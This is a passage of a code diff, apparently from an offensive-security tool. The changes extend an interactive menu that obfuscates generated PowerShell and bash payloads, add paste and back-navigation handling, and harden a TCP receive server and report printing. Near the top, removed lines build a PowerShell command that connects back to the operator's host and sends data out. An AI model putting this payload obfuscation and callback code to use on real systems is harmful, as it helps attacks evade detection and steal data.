f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
|
|
127
|
-
f"$_s=$_c.GetStream();"
|
|
128
|
-
f"$_s.Write($payload,0,$payload.Length);"
|
|
129
|
-
f"$_s.Flush();$_c.Close()"
|
|
130
|
-
)
|
|
131
|
-
self._dispatch_ps(ps_cmd)
|
|
132
|
-
data = srv.collect()
|
|
133
136
|
if data.startswith(b"OK:"):
|
|
134
137
|
return "ok", data[3:]
|
|
135
138
|
if data.startswith(b"ERR:"):
|
|
@@ -36,11 +36,13 @@ WIN_METHODS: list[tuple[str, str, Callable[[str], str]]] = [
|
|
|
36
36
|
("bullshit", "insert random no-op statements", ps_bullshit_obfuscate),
|
|
37
37
|
]
|
|
38
38
|
|
|
39
|
-
_HIDE
|
|
40
|
-
_SHOW
|
|
41
|
-
_ALT_ON
|
|
42
|
-
_ALT_OFF
|
|
43
|
-
_CLEAR
|
|
39
|
+
_HIDE = "\033[?25l"
|
|
40
|
+
_SHOW = "\033[?25h"
|
|
41
|
+
_ALT_ON = "\033[?1049h"
|
|
42
|
+
_ALT_OFF = "\033[?1049l"
|
|
43
|
+
_CLEAR = "\033[2J\033[H"
|
|
44
|
+
_BPASTE_ON = "\033[?2004h"
|
|
45
|
+
_BPASTE_OFF = "\033[?2004l"
|
|
44
46
|
|
|
45
47
|
|
|
46
48
|
def _getch() -> bytes:
|
|
@@ -52,7 +54,31 @@ def _getch() -> bytes:
|
|
|
52
54
|
if ch == b'\x1b':
|
|
53
55
|
r, _, _ = select.select([sys.stdin], [], [], 0.05)
|
|
54
56
|
if r:
|
|
55
|
-
|
|
57
|
+
nxt = os.read(fd, 1)
|
|
58
|
+
if nxt == b'[':
|
|
59
|
+
param = bytearray()
|
|
60
|
+
while True:
|
|
61
|
+
b = os.read(fd, 1)
|
|
62
|
+
if not b:
|
|
63
|
+
break
|
|
64
|
+
param.extend(b)
|
|
65
|
+
if 0x40 <= b[0] <= 0x7E:
|
|
66
|
+
break
|
|
67
|
+
if len(param) > 16:
|
|
68
|
+
break
|
|
69
|
+
seq = b'[' + bytes(param)
|
|
70
|
+
if seq == b'[200~':
|
|
71
|
+
paste = bytearray()
|
|
72
|
+
while len(paste) < 500_000:
|
|
73
|
+
b = os.read(fd, 1)
|
|
74
|
+
if not b:
|
|
75
|
+
break
|
|
76
|
+
paste.extend(b)
|
|
77
|
+
if paste.endswith(b'\x1b[201~'):
|
|
78
|
+
return b'\x1b[200~' + bytes(paste[:-6])
|
|
79
|
+
return b'\x1b[200~' + bytes(paste)
|
|
80
|
+
return b'\x1b' + seq
|
|
81
|
+
return b'\x1b' + nxt
|
|
56
82
|
return ch
|
|
57
83
|
finally:
|
|
58
84
|
termios.tcsetattr(fd, termios.TCSADRAIN, old)
|
|
@@ -67,7 +93,7 @@ def _render_menu(title: str, options: list[str], cursor: int) -> None:
|
|
|
67
93
|
sys.stdout.write(f" {accent('►')} {bold(accent(opt))}\n")
|
|
68
94
|
else:
|
|
69
95
|
sys.stdout.write(f" {dim(opt)}\n")
|
|
70
|
-
sys.stdout.write(f"\n {dim('↑/↓')} navigate {dim('Enter')} select {dim('q')} cancel\n")
|
|
96
|
+
sys.stdout.write(f"\n {dim('↑/↓')} navigate {dim('Enter')} select {dim('⌫')} back {dim('q')} cancel\n")
|
|
71
97
|
sys.stdout.flush()
|
|
72
98
|
|
|
73
99
|
|
|
@@ -115,6 +141,9 @@ def _render_obfuscator(
|
|
|
115
141
|
f"\n{indent}{dim('↑/↓')} navigate "
|
|
116
142
|
f"{dim('Enter')} apply "
|
|
117
143
|
f"{dim('r')} reset "
|
|
144
|
+
f"{dim('^R')} original "
|
|
145
|
+
f"{dim('paste')} replace "
|
|
146
|
+
f"{dim('⌫')} back "
|
|
118
147
|
f"{dim('q')} quit & print\n"
|
|
119
148
|
)
|
|
120
149
|
sys.stdout.flush()
|
|
@@ -124,8 +153,8 @@ def _run_obfuscator_loop(
|
|
|
124
153
|
title: str,
|
|
125
154
|
base: str,
|
|
126
155
|
methods: list[tuple[str, str, Callable]],
|
|
127
|
-
) -> tuple[str, list[str]]:
|
|
128
|
-
|
|
156
|
+
) -> tuple[str, list[str]] | None:
|
|
157
|
+
original = base
|
|
129
158
|
current = base
|
|
130
159
|
chain: list[str] = []
|
|
131
160
|
cursor = 0
|
|
@@ -134,7 +163,13 @@ def _run_obfuscator_loop(
|
|
|
134
163
|
_render_obfuscator(title, current, chain, cursor, methods)
|
|
135
164
|
ch = _getch()
|
|
136
165
|
|
|
137
|
-
if ch
|
|
166
|
+
if ch.startswith(b'\x1b[200~'):
|
|
167
|
+
pasted = ch[6:].decode("utf-8", errors="replace").strip()
|
|
168
|
+
if pasted:
|
|
169
|
+
base = pasted
|
|
170
|
+
current = pasted
|
|
171
|
+
chain = []
|
|
172
|
+
elif ch == b'\x1b[A':
|
|
138
173
|
cursor = (cursor - 1) % len(methods)
|
|
139
174
|
elif ch == b'\x1b[B':
|
|
140
175
|
cursor = (cursor + 1) % len(methods)
|
|
@@ -145,6 +180,12 @@ def _run_obfuscator_loop(
|
|
|
145
180
|
elif ch in (b'r', b'R'):
|
|
146
181
|
current = base
|
|
147
182
|
chain = []
|
|
183
|
+
elif ch == b'\x12':
|
|
184
|
+
base = original
|
|
185
|
+
current = original
|
|
186
|
+
chain = []
|
|
187
|
+
elif ch in (b'\x7f', b'\x08'):
|
|
188
|
+
return None
|
|
148
189
|
elif ch in (b'q', b'Q', b'\x03', b'\x04'):
|
|
149
190
|
break
|
|
150
191
|
|
|
@@ -172,58 +213,83 @@ def run_obfuscate_ui(iface: str | None, port: int) -> None:
|
|
|
172
213
|
final_chain: list[str] = []
|
|
173
214
|
final_label = ""
|
|
174
215
|
|
|
175
|
-
|
|
216
|
+
iface_names = list(interfaces.keys())
|
|
217
|
+
has_iface_menu = selected_iface is None
|
|
218
|
+
gen = PayloadGenerator(port)
|
|
219
|
+
iface_cursor = 0
|
|
220
|
+
os_cursor = 0
|
|
221
|
+
|
|
222
|
+
sys.stdout.write(_ALT_ON + _HIDE + _BPASTE_ON)
|
|
176
223
|
sys.stdout.flush()
|
|
177
224
|
try:
|
|
178
|
-
if
|
|
179
|
-
iface_names = list(interfaces.keys())
|
|
180
|
-
iface_cursor = 0
|
|
181
|
-
while True:
|
|
182
|
-
_render_menu("Obfuscate Select Interface", iface_names, iface_cursor)
|
|
183
|
-
ch = _getch()
|
|
184
|
-
if ch == b'\x1b[A':
|
|
185
|
-
iface_cursor = (iface_cursor - 1) % len(iface_names)
|
|
186
|
-
elif ch == b'\x1b[B':
|
|
187
|
-
iface_cursor = (iface_cursor + 1) % len(iface_names)
|
|
188
|
-
elif ch in (b'\r', b'\n'):
|
|
189
|
-
selected_iface = iface_names[iface_cursor]
|
|
190
|
-
break
|
|
191
|
-
elif ch in (b'q', b'Q', b'\x03'):
|
|
192
|
-
raise _Cancelled
|
|
193
|
-
|
|
194
|
-
gen = PayloadGenerator(port)
|
|
195
|
-
|
|
196
|
-
os_cursor = 0
|
|
225
|
+
step = "interface" if has_iface_menu else "platform"
|
|
197
226
|
while True:
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
227
|
+
if step == "interface":
|
|
228
|
+
while True:
|
|
229
|
+
_render_menu("Obfuscate Select Interface", iface_names, iface_cursor)
|
|
230
|
+
ch = _getch()
|
|
231
|
+
if ch == b'\x1b[A':
|
|
232
|
+
iface_cursor = (iface_cursor - 1) % len(iface_names)
|
|
233
|
+
elif ch == b'\x1b[B':
|
|
234
|
+
iface_cursor = (iface_cursor + 1) % len(iface_names)
|
|
235
|
+
elif ch in (b'\r', b'\n'):
|
|
236
|
+
selected_iface = iface_names[iface_cursor]
|
|
237
|
+
step = "platform"
|
|
238
|
+
break
|
|
239
|
+
elif ch in (b'\x7f', b'\x08', b'q', b'Q', b'\x03'):
|
|
240
|
+
raise _Cancelled
|
|
241
|
+
if step != "platform":
|
|
242
|
+
continue
|
|
243
|
+
|
|
244
|
+
if step == "platform":
|
|
245
|
+
back = False
|
|
246
|
+
while True:
|
|
247
|
+
_render_menu("Obfuscate Select Platform", ["Windows", "Linux"], os_cursor)
|
|
248
|
+
ch = _getch()
|
|
249
|
+
if ch == b'\x1b[A':
|
|
250
|
+
os_cursor = (os_cursor - 1) % 2
|
|
251
|
+
elif ch == b'\x1b[B':
|
|
252
|
+
os_cursor = (os_cursor + 1) % 2
|
|
253
|
+
elif ch in (b'\r', b'\n'):
|
|
254
|
+
step = "obfuscate"
|
|
255
|
+
break
|
|
256
|
+
elif ch in (b'\x7f', b'\x08'):
|
|
257
|
+
if has_iface_menu:
|
|
258
|
+
step = "interface"
|
|
259
|
+
else:
|
|
260
|
+
raise _Cancelled
|
|
261
|
+
back = True
|
|
262
|
+
break
|
|
263
|
+
elif ch in (b'q', b'Q', b'\x03'):
|
|
264
|
+
raise _Cancelled
|
|
265
|
+
if back:
|
|
266
|
+
continue
|
|
267
|
+
|
|
268
|
+
if step == "obfuscate":
|
|
269
|
+
payloads = gen.for_interface(selected_iface)
|
|
270
|
+
if payloads is None:
|
|
271
|
+
raise _Cancelled
|
|
272
|
+
if os_cursor == 0:
|
|
273
|
+
result = _run_obfuscator_loop(
|
|
274
|
+
"Windows Payload Obfuscator", payloads["powershell"], WIN_METHODS
|
|
275
|
+
)
|
|
276
|
+
final_label = "powershell"
|
|
277
|
+
else:
|
|
278
|
+
result = _run_obfuscator_loop(
|
|
279
|
+
"Linux Payload Obfuscator", payloads["bash (alt)"], LINUX_METHODS
|
|
280
|
+
)
|
|
281
|
+
final_label = "bash"
|
|
282
|
+
|
|
283
|
+
if result is None:
|
|
284
|
+
step = "platform"
|
|
285
|
+
continue
|
|
286
|
+
final_payload, final_chain = result
|
|
205
287
|
break
|
|
206
|
-
elif ch in (b'q', b'Q', b'\x03'):
|
|
207
|
-
raise _Cancelled
|
|
208
|
-
|
|
209
|
-
payloads = gen.for_interface(selected_iface)
|
|
210
|
-
if payloads is None:
|
|
211
|
-
raise _Cancelled
|
|
212
|
-
if os_cursor == 0:
|
|
213
|
-
final_payload, final_chain = _run_obfuscator_loop(
|
|
214
|
-
"Windows Payload Obfuscator", payloads["powershell"], WIN_METHODS
|
|
215
|
-
)
|
|
216
|
-
final_label = "powershell"
|
|
217
|
-
else:
|
|
218
|
-
final_payload, final_chain = _run_obfuscator_loop(
|
|
219
|
-
"Linux Payload Obfuscator", payloads["bash (alt)"], LINUX_METHODS
|
|
220
|
-
)
|
|
221
|
-
final_label = "bash"
|
|
222
288
|
|
|
223
289
|
except (_Cancelled, KeyboardInterrupt):
|
|
224
290
|
pass
|
|
225
291
|
finally:
|
|
226
|
-
sys.stdout.write(_SHOW + _ALT_OFF + "\n")
|
|
292
|
+
sys.stdout.write(_BPASTE_OFF + _SHOW + _ALT_OFF + "\n")
|
|
227
293
|
sys.stdout.flush()
|
|
228
294
|
|
|
229
295
|
if not final_payload:
|
|
@@ -101,9 +101,11 @@ def spawn_send_server(
|
|
|
101
101
|
|
|
102
102
|
|
|
103
103
|
class TCPReceiveServer:
|
|
104
|
-
def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None
|
|
104
|
+
def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None,
|
|
105
|
+
expected_ip: Optional[str] = None):
|
|
105
106
|
self._timeout = timeout
|
|
106
107
|
self._on_progress = on_progress
|
|
108
|
+
self._expected_ip = expected_ip
|
|
107
109
|
self._sock = None
|
|
108
110
|
self._done = threading.Event()
|
|
109
111
|
self._data = b""
|
|
@@ -118,29 +120,35 @@ class TCPReceiveServer:
|
|
|
118
120
|
return self
|
|
119
121
|
|
|
120
122
|
def _run(self) -> None:
|
|
121
|
-
|
|
123
|
+
chunks: list[bytes] = []
|
|
124
|
+
total = 0
|
|
122
125
|
try:
|
|
123
|
-
conn
|
|
126
|
+
conn = None
|
|
127
|
+
while conn is None:
|
|
128
|
+
candidate, peer = self._sock.accept()
|
|
129
|
+
if self._expected_ip is not None and peer[0] != self._expected_ip:
|
|
130
|
+
candidate.close()
|
|
131
|
+
continue
|
|
132
|
+
conn = candidate
|
|
124
133
|
conn.settimeout(self._timeout)
|
|
125
134
|
try:
|
|
126
135
|
while chunk := conn.recv(SOCKET_BUFFER_SIZE):
|
|
127
|
-
|
|
136
|
+
chunks.append(chunk)
|
|
137
|
+
total += len(chunk)
|
|
128
138
|
if self._on_progress:
|
|
129
|
-
self._on_progress(
|
|
139
|
+
self._on_progress(total)
|
|
130
140
|
except socket.timeout:
|
|
131
|
-
|
|
132
|
-
self._error = f"receive stalled after {len(buf)} bytes"
|
|
141
|
+
self._error = f"receive stalled after {total} bytes"
|
|
133
142
|
finally:
|
|
134
143
|
conn.close()
|
|
135
144
|
except Exception as exc:
|
|
136
145
|
self._error = str(exc)
|
|
137
146
|
finally:
|
|
138
|
-
self._data =
|
|
147
|
+
self._data = b"".join(chunks)
|
|
139
148
|
self._close()
|
|
140
149
|
self._done.set()
|
|
141
150
|
|
|
142
151
|
def collect(self) -> bytes:
|
|
143
|
-
# _run always sets _done (socket timeouts bound it); a deadline here could fire mid-transfer.
|
|
144
152
|
self._done.wait()
|
|
145
153
|
if self._error:
|
|
146
154
|
raise RuntimeError(self._error)
|
|
@@ -140,6 +140,25 @@ def _vlen(s) -> int:
|
|
|
140
140
|
return len(_ANSI.sub("", str(s)))
|
|
141
141
|
|
|
142
142
|
|
|
143
|
+
_C1_AND_CTRL = __import__("re").compile(r'[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f\x80-\x9f]')
|
|
144
|
+
|
|
145
|
+
def _sanitize(text: str) -> str:
|
|
146
|
+
"""Strip dangerous escape sequences (OSC, cursor, erase…) but keep SGR (colors/bold).
|
|
147
|
+
|
|
148
|
+
Two passes: the ANSI regex handles ESC-initiated sequences (keeping only
|
|
149
|
+
SGR), then a character-class pass strips C1 single-byte controls (0x80-0x9F,
|
|
150
|
+
which some terminals interpret as CSI/OSC/DCS without a leading ESC) and
|
|
151
|
+
other dangerous C0 controls. TAB, LF, CR and ESC are preserved.
|
|
152
|
+
"""
|
|
153
|
+
def _keep_sgr(m: "re.Match[str]") -> str:
|
|
154
|
+
seq = m.group(0)
|
|
155
|
+
if seq.startswith("\033[") and seq.endswith("m"):
|
|
156
|
+
return seq
|
|
157
|
+
return ""
|
|
158
|
+
result = _ANSI.sub(_keep_sgr, str(text))
|
|
159
|
+
return _C1_AND_CTRL.sub("", result)
|
|
160
|
+
|
|
161
|
+
|
|
143
162
|
def _ansi_tokens(text: str):
|
|
144
163
|
tokens = []
|
|
145
164
|
pos = 0
|
|
@@ -265,6 +284,13 @@ def print_report_box(title, data_dict, top_left_color=PUMPKIN, bottom_right_colo
|
|
|
265
284
|
if not data_dict:
|
|
266
285
|
return
|
|
267
286
|
|
|
287
|
+
data_dict = {
|
|
288
|
+
_sanitize(k): {_sanitize(sk): _sanitize(sv) for sk, sv in v.items()}
|
|
289
|
+
if isinstance(v, dict)
|
|
290
|
+
else _sanitize(v)
|
|
291
|
+
for k, v in data_dict.items()
|
|
292
|
+
}
|
|
293
|
+
|
|
268
294
|
categorized = any(isinstance(v, dict) for v in data_dict.values())
|
|
269
295
|
|
|
270
296
|
if categorized:
|
|
@@ -370,6 +396,9 @@ def print_table(
|
|
|
370
396
|
if not headers or not rows:
|
|
371
397
|
return
|
|
372
398
|
|
|
399
|
+
headers = [_sanitize(h) for h in headers]
|
|
400
|
+
rows = [[_sanitize(cell) for cell in row] for row in rows]
|
|
401
|
+
|
|
373
402
|
terminal_width = shutil.get_terminal_size().columns
|
|
374
403
|
n_cols = len(headers)
|
|
375
404
|
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|